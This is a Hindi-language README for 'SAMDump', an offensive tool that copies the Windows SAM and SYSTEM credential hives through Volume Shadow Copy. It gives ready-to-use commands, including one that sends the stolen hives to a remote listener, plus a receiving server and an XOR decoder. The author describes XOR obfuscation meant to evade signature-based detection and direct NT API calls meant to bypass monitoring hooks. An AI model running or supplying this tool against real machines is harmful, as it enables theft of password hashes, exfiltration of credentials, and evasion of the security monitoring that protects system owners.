
SAM और SYSTEM hives को Volume Shadow Copy (VSS) API का उपयोग करके निकालें। एक्सफिल्ट्रेशन और XOR ऑब्फस्केशन विकल्पों के साथ। C#, C++, Crystal और Python में कार्यान्वित।
वॉल्यूम शैडो कॉपी सेवा (VSS) का उपयोग करके Windows SAM और SYSTEM फ़ाइलों को निकालता है, जिसमें कई एक्सफ़िल्ट्रेशन विकल्प और XOR ऑब्सफ़स्केशन शामिल हैं:
यह C++, C#, Crystal और Python में कार्यान्वित किया गया है, और यह आधुनिक Windows संस्करणों पर काम करता है।
इसके लिए उच्च अधिकारों की आवश्यकता होती है, और यदि शैडो कॉपी बनाई जाती है, तो यह लगभग 5 मिनट के बाद स्वचालित रूप से हटा दी जाती है।
SAMDump.exe [OPTIONS]
Options:
--save-local [BOOL] Save locally (default: false)
--output-dir DIR Output directory (default: C:\Windows\tasks)
--send-remote [BOOL] Send remotely (default: false)
--host IP Host for remote sending (default: 127.0.0.1)
--port PORT Port for remote sending (default: 7777)
--xor-encode [BOOL] XOR Encode (default: false)
--xor-key KEY Enable XOR with specified key (default: SAMDump2025)
--disk DISK Disk for shadow copy (default: C:\)
--help Show this help
स्थानीय रूप से बिना एन्कोडिंग के सहेजें:
SAMDump.exe --save-local --output-dir "C:\temp"

XOR एन्कोडिंग के साथ स्थानीय रूप से सहेजें:
SAMDump.exe --save-local --xor-encode --xor-key "SAMDump2025"

XOR एन्कोडिंग और डिफ़ॉल्ट कुंजी के साथ दूरस्थ सर्वर पर भेजें:
SAMDump.exe --send-remote --host 192.168.1.72 --port 1234 --xor-encode

server.py एक Python सर्वर है जो नेटवर्क पर फ़ाइलें प्राप्त करता है, स्वचालित XOR डिकोडिंग और फ़ाइलनाम स्वरूपण के साथ:
python server.py [OPTIONS]
Options:
--host HOST IP address to listen on (default: 0.0.0.0)
--port PORT Port to listen on (default: 7777)
--xor-key KEY Key for XOR decoding (optional)
विशिष्ट इंटरफ़ेस और पोर्ट पर लिसनर XOR कुंजी के साथ:
python server.py --host 192.168.1.72 --port 1234 --xor-key "SAMDump2025"

फ़ाइलनाम में IP पता और तारीख होती है, इसलिए आप विभिन्न सिस्टम से फ़ाइलें भेज सकते हैं, जिससे प्रक्रिया स्वचालित हो जाती है।
xor-decoder.py एक Python स्क्रिप्ट है जो स्थानीय रूप से XOR-एन्कोडेड SAM और SYSTEM फ़ाइलों को डिकोड करती है:
python xor-decoder.py [OPTIONS]
Options:
--sam SAM Path to encoded SAM file (required)
--system SYSTEM Path to encoded SYSTEM file (required)
--xor-key KEY XOR key for decoding (default: SAMDump2025)
--output-dir DIR Output directory for decoded files (default: ./decoded)
डिफ़ॉल्ट कुंजी से डिकोड करें:
python xor-decoder.py --sam sam.txt --system system.txt

कस्टम कुंजी और आउटपुट निर्देशिका के साथ डिकोड करें:
python xor-decoder.py --sam sam.txt --system system.txt --xor-key "MyKey" --output-dir ./results

परियोजना में तीन भाषाओं में कार्यान्वित संस्करण शामिल हैं:
comtypes लाइब्रेरी की आवश्यकता है (pip install comtypes)मैं इस प्रक्रिया को स्वचालित करना चाहता था और अधिकांश Windows जो मुझे मिलते हैं, उनमें VSS चलता है, लेकिन सुरक्षा समाधान शैडो कॉपीज़ बनाने और इन फ़ाइलों को निकालने के लिए vssadmin के उपयोग का पता लगाते हैं क्योंकि यह एक जानी-मानी तकनीक है।
यह टूल दूरस्थ स्थानांतरण मोड का उपयोग करते समय लक्ष्य फ़ाइल सिस्टम पर लिखे बिना फ़ाइलें निकालता है; और XOR-एन्कोडिंग सिग्नेचर-आधारित पहचान से बचने के लिए बुनियादी ऑब्सफ़स्केशन प्रदान करता है (दूरस्थ मोड का उपयोग करते समय भी)।
साथ ही, यह कुछ मॉनिटरिंग और उपयोगकर्ता-मोड API हुक्स को बायपास करने के लिए NT API कॉल्स का लाभ उठाता है।
यह टूल मानक Windows API फ़ंक्शन के बजाय NT सिस्टम कॉल्स का उपयोग करता है, जो सामान्यतः निगरानी किए जाने वाले कुछ उपयोगकर्ता-मोड API हुक्स को बायपास कर सकता है:
NtCreateFile और NtReadFile: शैडो कॉपी में SAM और SYSTEM फ़ाइलों के बाइट्स पढ़ने के लिए हैंडल खोलने के लिए उपयोग किया जाता है
NtWriteFile: फ़ाइलों को स्थानीय रूप से सहेजने के लिए उपयोग किया जाता है
@vx-underground को धन्यवाद, जिन्होंने एक्सपोर्ट एड्रेस टेबल (EAT) ट्रैवर्सल कोड में अनावश्यक NtReadVirtualMemory कॉल्स को प्रत्यक्ष पॉइंटर एक्सेस से बदलने के लिए अनुकूलन की पहचान और सुझाव दिया।